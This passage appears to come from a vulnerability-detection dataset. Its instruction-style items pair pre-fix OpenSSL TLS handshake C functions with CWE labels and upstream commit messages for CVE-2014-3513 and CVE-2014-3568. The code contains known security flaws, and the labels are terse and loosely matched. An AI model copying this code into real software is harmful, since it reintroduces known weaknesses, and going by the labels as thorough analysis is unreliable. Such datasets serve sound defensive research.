requests\n\t * 2: peer not allowed to send requests\n\t */\n\tif (s->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_RECV_REQUESTS)\n\t\t*(ret++) = SSL_TLSEXT_HB_DONT_SEND_REQUESTS;\n\telse\n\t\t*(ret++) = SSL_TLSEXT_HB_ENABLED;\n#endif\n\n#ifndef OPENSSL_NO_NEXTPROTONEG\n\tif (s->ctx->next_proto_select_cb && !s->s3->tmp.finish_md_len)\n\t\t{\n\t\t/* The client advertises an emtpy extension to indicate its\n\t\t * support for Next Protocol Negotiation */\n\t\tif (limit - ret - 4 < 0)\n\t\t\treturn NULL;\n\t\ts2n(TLSEXT_TYPE_next_proto_neg,ret);\n\t\ts2n(0,ret);\n\t\t}\n#endif\n\n#ifndef OPENSSL_NO_SRTP\n        if(SSL_get_srtp_profiles(s))\n                {\n                int el;\n\n                ssl_add_clienthello_use_srtp_ext(s, 0, &el, 0);\n                \n                if((limit - ret - 4 - el) < 0) return NULL;\n\n                s2n(TLSEXT_TYPE_use_srtp,ret);\n                s2n(el,ret);\n\n                if(ssl_add_clienthello_use_srtp_ext(s, ret, &el, el))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n\t\t\treturn NULL;\n\t\t\t}\n                ret += el;\n                }\n#endif\n\t/* Add padding to workaround bugs in F5 terminators.\n\t * See https://tools.ietf.org/html/draft-agl-tls-padding-03\n\t *\n\t * NB: because this code works out the length of all existing\n\t * extensions it MUST always appear last.\n\t */\n\tif (s->options & SSL_OP_TLSEXT_PADDING)\n\t\t{\n\t\tint hlen = ret - (unsigned char *)s->init_buf->data;\n\t\t/* The code in s23_clnt.c to build ClientHello messages\n\t\t * includes the 5-byte record header in the buffer, while\n\t\t * the code in s3_clnt.c does not.\n\t\t */\n\t\tif (s->state == SSL23_ST_CW_CLNT_HELLO_A)\n\t\t\thlen -= 5;\n\t\tif (hlen > 0xff && hlen < 0x200)\n\t\t\t{\n\t\t\thlen = 0x200 - hlen;\n\t\t\tif (hlen >= 4)\n\t\t\t\thlen -= 4;\n\t\t\telse\n\t\t\t\thlen = 0;\n\n\t\t\ts2n(TLSEXT_TYPE_padding, ret);\n\t\t\ts2n(hlen, ret);\n\t\t\tmemset(ret, 0, hlen);\n\t\t\tret += hlen;\n\t\t\t}\n\t\t}\n\n\tif ((extdatalen = ret-orig-2)== 0) \n\t\treturn orig;\n\n\ts2n(extdatalen, orig);\n\treturn ret;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Fix for SRTP Memory Leak\n\nCVE-2014-3513\n\nThis issue was reported to OpenSSL on 26th September 2014, based on an origi\nissue and patch developed by the LibreSSL project. Further analysis of the i\nwas performed by the OpenSSL team.\n\nThe fix was developed by the OpenSSL team.\n\nReviewed-by: Tim Hudson '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ssl23_get_server_hello(SSL *s)\n\t{\n\tchar buf[8];\n\tunsigned char *p;\n\tint i;\n\tint n;\n\n\tn=ssl23_read_bytes(s,7);\n\n\tif (n != 7) return(n);\n\tp=s->packet;\n\n\tmemcpy(buf,p,n);\n\n\tif ((p[0] & 0x80) && (p[2] == SSL2_MT_SERVER_HELLO) &&\n\t\t(p[5] == 0x00) && (p[6] == 0x02))\n\t\t{\n#ifdef OPENSSL_NO_SSL2\n\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,SSL_R_UNSUPPORTED_PROTOCOL);\n\t\tgoto err;\n#else\n\t\t/* we are talking sslv2 */\n\t\t/* we need to clean up the SSLv3 setup and put in the\n\t\t * sslv2 stuff. */\n\t\tint ch_len;\n\n\t\tif (s->options & SSL_OP_NO_SSLv2)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,SSL_R_UNSUPPORTED_PROTOCOL);\n\t\t\tgoto err;\n\t\t\t}\n\t\tif (s->s2 == NULL)\n\t\t\t{\n\t\t\tif (!ssl2_new(s))\n\t\t\t\tgoto err;\n\t\t\t}\n\t\telse\n\t\t\tssl2_clear(s);\n\n\t\tif (s->options & SSL_OP_NETSCAPE_CHALLENGE_BUG)\n\t\t\tch_len=SSL2_CHALLENGE_LENGTH;\n\t\telse\n\t\t\tch_len=SSL2_MAX_CHALLENGE_LENGTH;\n\n\t\t/* write out sslv2 challenge */\n\t\t/* Note that ch_len must be <= SSL3_RANDOM_SIZE (32), because\n\t\t   it is one of SSL2_MAX_CHALLENGE_LENGTH (32) or\n\t\t   SSL2_MAX_CHALLENGE_LENGTH (16), but leave the check in for\n\t\t   futurproofing */\n\t\ti=(SSL3_RANDOM_SIZE < ch_len)\n\t\t\t?SSL3_RANDOM_SIZE:ch_len;\n\t\ts->s2->challenge_length=i;\n\t\tmemcpy(s->s2->challenge,\n\t\t\t&(s->s3->client_random[SSL3_RANDOM_SIZE-i]),i);\n\n\t\tif (s->s3 != NULL) ssl3_free(s);\n\n\t\tif (!BUF_MEM_grow_clean(s->init_buf,\n\t\t\tSSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,ERR_R_BUF_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\ts->state=SSL2_ST_GET_SERVER_HELLO_A;\n\t\tif (!(s->client_version == SSL2_VERSION))\n\t\t\t/* use special padding (SSL 3.0 draft/RFC 2246, App. E.2) */\n\t\t\ts->s2->ssl2_rollback=1;\n\n\t\t/* setup the 7 bytes we have read so we get them from\n\t\t * the sslv2 buffer */\n\t\ts->rstate=SSL_ST_READ_HEADER;\n\t\ts->packet_length=n;\n\t\ts->packet= &(s->s2->rbuf[0]);\n\t\tmemcpy(s->packet,buf,n);\n\t\ts->s2->rbuf_left=n;\n\t\ts->s2->rbuf_offs=0;\n\n\t\t/* we have already written one */\n\t\ts->s2->write_sequence=1;\n\n\t\ts->method=SSLv2_client_method();\n\t\ts->handshake_func=s->method->ssl_connect;\n#endif\n\t\t}\n\telse if (p[1] == SSL3_VERSION_MAJOR &&\n\t         p[2] <= TLS1_2_VERSION_MINOR &&\n\t         ((p[0] == SSL3_RT_HANDSHAKE && p[5] == SSL3_MT_SERVER_HELLO) ||\n\t          (p[0] == SSL3_RT_ALERT && p[3] == 0 && p[4] == 2)))\n\t\t{\n\t\t/* we have sslv3 or tls1 (server hello or alert) */\n\n\t\tif ((p[2] == SSL3_VERSION_MINOR) &&\n\t\t\t!(s->options & SSL_OP_NO_SSLv3))\n\t\t\t{\n#ifdef OPENSSL_FIPS\n\t\t\tif(FIPS_mode())\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,\n\t\t\t\t\tSSL_R_ONLY_TLS_ALLOWED_IN_FIPS_MODE);\n\t\t\t\tgoto err;\n\t\t\t\t}\n#endif\n\t\t\ts->version=SSL3_VERSION;\n\t\t\ts->method=SSLv3_client_method();\n\t\t\t}\n\t\telse if ((p[2] == TLS1_VERSION_MINOR) &&\n\t\t\t!(s->options & SSL_OP_NO_TLSv1))\n\t\t\t{\n\t\t\ts->version=TLS1_VERSION;\n\t\t\ts->method=TLSv1_client_method();\n\t\t\t}\n\t\telse if ((p[2] == TLS1_1_VERSION_MINOR) &&\n\t\t\t!(s->options & SSL_OP_NO_TLSv1_1))\n\t\t\t{\n\t\t\ts->version=TLS1_1_VERSION;\n\t\t\ts->method=TLSv1_1_client_method();\n\t\t\t}\n\t\telse if ((p[2] == TLS1_2_VERSION_MINOR) &&\n\t\t\t!(s->options & SSL_OP_NO_TLSv1_2))\n\t\t\t{\n\t\t\ts->version=TLS1_2_VERSION;\n\t\t\ts->method=TLSv1_2_client_method();\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,SSL_R_UNSUPPORTED_PROTOCOL);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\t/* ensure that TLS_MAX_VERSION is up-to-date */\n\t\tOPENSSL_assert(s->version <= TLS_MAX_VERSION);\n\n\t\tif (p[0] == SSL3_RT_ALERT && p[5] != SSL3_AL_WARNING)\n\t\t\t{\n\t\t\t/* fatal alert */\n\n\t\t\tvoid (*cb)(const SSL *ssl,int type,int val)=NULL;\n\t\t\tint j;\n\n\t\t\tif (s->info_callback != NULL)\n\t\t\t\tcb=s->info_callback;\n\t\t\telse if (s->ctx->info_callback != NULL)\n\t\t\t\tcb=s->ctx->info_callback;\n \n\t\t\ti=p[5];\n\t\t\tif (cb != NULL)\n\t\t\t\t{\n\t\t\t\tj=(i<<8)|p[6];\n\t\t\t\tcb(s,SSL_CB_READ_ALERT,j);\n\t\t\t\t}\n\t\t\t\n\t\t\tif (s->msg_callback)\n\t\t\t\ts->msg_callback(0, s->version, SSL3_RT_ALERT, p+5, 2, s, s->msg_callback_arg);\n\n\t\t\ts->rwstate=SSL_NOTHING;\n\t\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,SSL_AD_REASON_OFFSET+p[6]);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tif (!ssl_init_wbio_buffer(s,1)) goto err;\n\n\t\t/* we are in this state */\n\t\ts->state=SSL3_ST_CR_SRVR_HELLO_A;\n\n\t\t/* put the 7 bytes we have read into the input buffer\n\t\t * for SSLv3 */\n\t\ts->rstate=SSL_ST_READ_HEADER;\n\t\ts->packet_length=n;\n\t\tif (s->s3->rbuf.buf == NULL)\n\t\t\tif (!ssl3_setup_read_buffer(s))\n\t\t\t\tgoto err;\n\t\ts->packet= &(s->s3->rbuf.buf[0]);\n\t\tmemcpy(s->packet,buf,n);\n\t\ts->s3->rbuf.left=n;\n\t\ts->s3->rbuf.offset=0;\n\n\t\ts->handshake_func=s->method->ssl_connect;\n\t\t}\n\telse\n\t\t{\n\t\tSSLerr(SSL_F_SSL23_GET_SERVER_HELLO,SSL_R_UNKNOWN_PROTOCOL);\n\t\tgoto err;\n\t\t}\n\ts->init_num=0;\n\n\t/* Since, if we are sending a ssl23 client hello, we are not\n\t * reusing a session-id */\n\tif (!ssl_get_new_session(s,0))\n\t\tgoto err;\n\n\treturn(SSL_connect(s));\nerr:\n\treturn(-1);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Fix no-ssl3 configuration option\n\nCVE-2014-3568\n\nReviewed-by: Emilia Kasper \nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ssl3_get_key_exchange(SSL *s)\n\t{\n#ifndef OPENSSL_NO_RSA\n\tunsigned char *q,md_buf[EVP_MAX_MD_SIZE*2];\n#endif\n\tEVP_MD_CTX md_ctx;\n\tunsigned char *param,*p;\n\tint al,j,ok;\n\tlong i,param_len,n,alg_k,alg_a;\n\tEVP_PKEY *pkey=NULL;\n\tconst EVP_MD *md = NULL;\n#ifndef OPENSSL_NO_RSA\n\tRSA *rsa=NULL;\n#endif\n#ifndef OPENSSL_NO_DH\n\tDH *dh=NULL;\n#endif\n#ifndef OPENSSL_NO_ECDH\n\tEC_KEY *ecdh = NULL;\n\tBN_CTX *bn_ctx = NULL;\n\tEC_POINT *srvr_ecpoint = NULL;\n\tint curve_nid = 0;\n\tint encoded_pt_len = 0;\n#endif\n\n\tEVP_MD_CTX_init(&md_ctx);\n\n\t/* use same message size as in ssl3_get_certificate_request()\n\t * as ServerKeyExchange message may be skipped */\n\tn=s->method->ssl_get_message(s,\n\t\tSSL3_ST_CR_KEY_EXCH_A,\n\t\tSSL3_ST_CR_KEY_EXCH_B,\n\t\t-1,\n\t\ts->max_cert_list,\n\t\t&ok);\n\tif (!ok) return((int)n);\n\n\talg_k=s->s3->tmp.new_cipher->algorithm_mkey;\n\n\tif (s->s3->tmp.message_type != SSL3_MT_SERVER_KEY_EXCHANGE)\n\t\t{\n\t\t/*\n\t\t * Can't skip server key exchange if this is an ephemeral\n\t\t * ciphersuite.\n\t\t */\n\t\tif (alg_k & (SSL_kDHE|SSL_kECDHE))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_UNEXPECTED_MESSAGE);\n\t\t\tal = SSL_AD_UNEXPECTED_MESSAGE;\n\t\t\tgoto f_err;\n\t\t\t}\n#ifndef OPENSSL_NO_PSK\n\t\t/* In plain PSK ciphersuite, ServerKeyExchange can be\n\t\t   omitted if no identity hint is sent. Set\n\t\t   session->sess_cert anyway to avoid problems\n\t\t   later.*/\n\t\tif (alg_k & SSL_kPSK)\n\t\t\t{\n\t\t\ts->session->sess_cert=ssl_sess_cert_new();\n\t\t\tif (s->ctx->psk_identity_hint)\n\t\t\t\tOPENSSL_free(s->ctx->psk_identity_hint);\n\t\t\ts->ctx->psk_identity_hint = NULL;\n\t\t\t}\n#endif\n\t\ts->s3->tmp.reuse_message=1;\n\t\treturn(1);\n\t\t}\n\n\tparam=p=(unsigned char *)s->init_msg;\n\tif (s->session->sess_cert != NULL)\n\t\t{\n#ifndef OPENSSL_NO_RSA\n\t\tif (s->session->sess_cert->peer_rsa_tmp != NULL)\n\t\t\t{\n\t\t\tRSA_free(s->session->sess_cert->peer_rsa_tmp);\n\t\t\ts->session->sess_cert->peer_rsa_tmp=NULL;\n\t\t\t}\n#endif\n#ifndef OPENSSL_NO_DH\n\t\tif (s->session->sess_cert->peer_dh_tmp)\n\t\t\t{\n\t\t\tDH_free(s->session->sess_cert->peer_dh_tmp);\n\t\t\ts->session->sess_cert->peer_dh_tmp=NULL;\n\t\t\t}\n#endif\n#ifndef OPENSSL_NO_ECDH\n\t\tif (s->session->sess_cert->peer_ecdh_tmp)\n\t\t\t{\n\t\t\tEC_KEY_free(s->session->sess_cert->peer_ecdh_tmp);\n\t\t\ts->session->sess_cert->peer_ecdh_tmp=NULL;\n\t\t\t}\n#endif\n\t\t}\n\telse\n\t\t{\n\t\ts->session->sess_cert=ssl_sess_cert_new();\n\t\t}\n\n\t/* Total length of the parameters including the length prefix */\n\tparam_len=0;\n\n\talg_a=s->s3->tmp.new_cipher->algorithm_auth;\n\n\tal=SSL_AD_DECODE_ERROR;\n\n#ifndef OPENSSL_NO_PSK\n\tif (alg_k & SSL_kPSK)\n\t\t{\n\t\tchar tmp_id_hint[PSK_MAX_IDENTITY_LEN+1];\n\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\t/* Store PSK identity hint for later use, hint is used\n\t\t * in ssl3_send_client_key_exchange.  Assume that the\n\t\t * maximum length of a PSK identity hint can be as\n\t\t * long as the maximum length of a PSK identity. */\n\t\tif (i > PSK_MAX_IDENTITY_LEN)\n\t\t\t{\n\t\t\tal=SSL_AD_HANDSHAKE_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_DATA_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_BAD_PSK_IDENTITY_HINT_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\t/* If received PSK identity hint contains NULL\n\t\t * characters, the hint is truncated from the first\n\t\t * NULL. p may not be ending with NULL, so create a\n\t\t * NULL-terminated string. */\n\t\tmemcpy(tmp_id_hint, p, i);\n\t\tmemset(tmp_id_hint+i, 0, PSK_MAX_IDENTITY_LEN+1-i);\n\t\tif (s->ctx->psk_identity_hint != NULL)\n\t\t\tOPENSSL_free(s->ctx->psk_identity_hint);\n\t\ts->ctx->psk_identity_hint = BUF_strdup(tmp_id_hint);\n\t\tif (s->ctx->psk_identity_hint == NULL)\n\t\t\t{\n\t\t\tal=SSL_AD_HANDSHAKE_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, ERR_R_MALLOC_FAILURE);\n\t\t\tgoto f_err;\n\t\t\t}\t   \n\n\t\tp+=i;\n\t\tn-=param_len;\n\t\t}\n\telse\n#endif /* !OPENSSL_NO_PSK */\n#ifndef OPENSSL_NO_SRP\n\tif (alg_k & SSL_kSRP)\n\t\t{\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_N_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.N=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_G_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.g=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\n\t\tif (1 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 1;\n\n\t\ti = (unsigned int)(p[0]);\n\t\tp++;\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_S_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.s=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_B_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.B=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\t\tn-=param_len;\n\n\t\tif (!srp_verify_server_param(s, &al))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_PARAMETERS);\n\t\t\tgoto f_err;\n\t\t\t}\n\n/* We must check if there is a certificate */\n#ifndef OPENSSL_NO_RSA\n\t\tif (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n#else\n\t\tif (0)\n\t\t\t;\n#endif\n#ifndef OPENSSL_NO_DSA\n\t\telse if (alg_a & SSL_aDSS)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_DSA_SIGN].x509);\n#endif\n\t\t}\n\telse\n#endif /* !OPENSSL_NO_SRP */\n#ifndef OPENSSL_NO_RSA\n\tif (alg_k & SSL_kRSA)\n\t\t{\n\t\tif ((rsa=RSA_new()) == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_MODULUS_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(rsa->n=BN_bin2bn(p,i,rsa->n)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_E_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(rsa->e=BN_bin2bn(p,i,rsa->e)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\t\tn-=param_len;\n\n\t\t/* this should be because we are using an export cipher */\n\t\tif (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n\t\telse\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR);\n\t\t\tgoto err;\n\t\t\t}\n\t\ts->session->sess_cert->peer_rsa_tmp=rsa;\n\t\trsa=NULL;\n\t\t}\n#else /* OPENSSL_NO_RSA */\n\tif (0)\n\t\t;\n#endif\n#ifndef OPENSSL_NO_DH\n\telse if (alg_k & SSL_kDHE)\n\t\t{\n\t\tif ((dh=DH_new()) == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_DH_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_P_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(dh->p=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_G_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(dh->g=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_PUB_KEY_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(dh->pub_key=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\t\tn-=param_len;\n\n\t\tif (!ssl_security(s, SSL_SECOP_TMP_DH,\n\t\t\t\t\t\tDH_security_bits(dh), 0, dh))\n\t\t\t{\n\t\t\tal=SSL_AD_HANDSHAKE_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_DH_KEY_TOO_SMALL);\n\t\t\tgoto f_err;\n\t\t\t}\n\n#ifndef OPENSSL_NO_RSA\n\t\tif (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n#else\n\t\tif (0)\n\t\t\t;\n#endif\n#ifndef OPENSSL_NO_DSA\n\t\telse if (alg_a & SSL_aDSS)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_DSA_SIGN].x509);\n#endif\n\t\t/* else anonymous DH, so no certificate or pkey. */\n\n\t\ts->session->sess_cert->peer_dh_tmp=dh;\n\t\tdh=NULL;\n\t\t}\n\telse if ((alg_k & SSL_kDHr) || (alg_k & SSL_kDHd))\n\t\t{\n\t\tal=SSL_AD_ILLEGAL_PARAMETER;\n\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_TRIED_TO_USE_UNSUPPORTED_CIPHER);\n\t\tgoto f_err;\n\t\t}\n#endif /* !OPENSSL_NO_DH */\n\n#ifndef OPENSSL_NO_ECDH\n\telse if (alg_k & SSL_kECDHE)\n\t\t{\n\t\tEC_GROUP *ngroup;\n\t\tconst EC_GROUP *group;\n\n\t\tif ((ecdh=EC_KEY_new()) == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\t/* Extract elliptic curve parameters and the\n\t\t * server's ephemeral ECDH public key.\n\t\t * Keep accumulating lengths of various components in\n\t\t * param_len and make sure it never exceeds n.\n\t\t */\n\n\t\t/* XXX: For now we only support named (not generic) curves\n\t\t * and the ECParameters in this case is just three bytes. We\n\t\t * also need one byte for the length of the encoded point\n\t\t */\n\t\tparam_len=4;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t/* Check curve is one of our preferences, if not server has\n\t\t * sent an invalid curve. ECParameters is 3 bytes.\n\t\t */\n\t\tif (!tls1_check_curve(s, p, 3))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_WRONG_CURVE);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tif ((curve_nid = tls1_ec_curve_id2nid(*(p + 2))) == 0) \n\t\t\t{\n\t\t\tal=SSL_AD_INTERNAL_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNABLE_TO_FIND_ECDH_PARAMETERS);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tngroup = EC_GROUP_new_by_curve_name(curve_nid);\n\t\tif (ngroup == 